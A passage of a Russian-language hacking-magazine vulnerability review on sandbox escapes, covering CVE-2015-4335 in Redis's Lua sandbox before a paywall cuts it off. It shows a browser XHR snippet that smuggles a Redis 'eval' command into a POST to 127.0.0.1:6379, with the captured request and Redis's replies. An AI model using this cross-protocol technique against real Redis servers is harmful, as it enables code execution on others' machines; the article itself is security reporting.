Наш сегодняшний обзор будет посвящен уязвимостям, которые позволяют совершить побег из разнообразных песочниц. Одна из них затронула такую популярную виртуальную машину, как QEMU. В ходе ее эксплуатации можно выполнить произвольный код, который затронет хостовую машину. Другая же основана на встраиваемом языке Lua — она позволяет не просто выполнять код, но и читать память.

 

Выполнение кода в Redis через EVAL

 

CVSSv2

N/A

 

BRIEF

Дата релиза: 4 июня 2015 года
Автор: Ben Murphy
CVE: 2015-4335

Лого для уязвимости в Redis
Лого для уязвимости в Redis

Уязвимость в нереляционной высокопроизводительной базе данных Redis позволяет выйти из Lua-песочницы и выполнить произвольный код. Сама уязвимость не нова и основана на работе Питера Коли с байт-кодом Lua — type confusion.

Особой угрозы в этой уязвимости нет, так как в соответствии с моделью безопасности Redis только доверенные пользователи могут подключаться к БД. Поэтому основные цели атак — это системы разработчиков, добраться до них можно с помощью SSRF-атак или благодаря облакам.

Машины разработчиков, использующих Redis, могут быть уязвимы из-за того, что Redis биндится на все интерфейсы, которые в свою очередь ждут получения инструкций. Такое поведение прописано в настройках по умолчанию.

Также разработчики могут быть уязвимы, если есть биндинг на 127.0.0.1. Один из примеров атаки на Redis через HTTP расписан исследователем Николасом Грегори. В его отчете рассказано об атаке на сервер Facebook, работающий на Redis, через уязвимость SSRF.

Так как Redis — это HTTP-сервер, у него есть схожие политики безопасности для браузеров, которые могут позволить любому сайту отправить к нему запрос POST. Для получения полного контроля нам нужно использовать XHR. Для примера напишем в консоли браузера при запущенном Wireshark такие команды:

var x = new XMLHttpRequest();
x.open("POST", "http://127.0.0.1:6379");
x.send('eval "print(\\"hello\\")" 0\r\n');

В Wireshark мы увидим следующее:

POST / HTTP/1.1
Host: 127.0.0.1:6379
Connection: keep-alive
Content-Length: 27
Pragma: no-cache
Cache-Control: no-cache
Origin: http://www.agarri.fr
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Referer: http://www.agarri.fr/kom/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8

eval "print(\"hello\")" 0
-ERR unknown command 'POST'
-ERR unknown command 'Host:'
-ERR unknown command 'Connection:'
-ERR unknown command 'Content-Length:'
-ERR unknown command 'Pragma:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Origin:'
-ERR unknown command 'User-Agent:'
-ERR unknown command 'Content-Type:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Referer:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Accept-Language:'
$-1

В потоке stdout Redis будет следующее:

Продолжение статьи доступно только подписчикам

Вариант 1. Оформи подписку на «Хакер», чтобы читать все статьи на сайте

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта, включая эту статью. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

Вариант 2. Купи одну статью

Заинтересовала статья, но нет возможности оплатить подписку? Тогда этот вариант для тебя! Обрати внимание: этот способ покупки доступен только для статей, опубликованных более двух месяцев назад.


Комментарии

Подпишитесь на ][, чтобы участвовать в обсуждении

Обсуждение этой статьи доступно только нашим подписчикам. Вы можете войти в свой аккаунт или зарегистрироваться и оплатить подписку, чтобы свободно участвовать в обсуждении.

Check Also

Технология ASLR некорректно работает в операционных системах Microsoft, начиная с Windows 8

Специалисты координационного центра CERT (CERT/CC) обнаружили, что в ряде случаев защитный…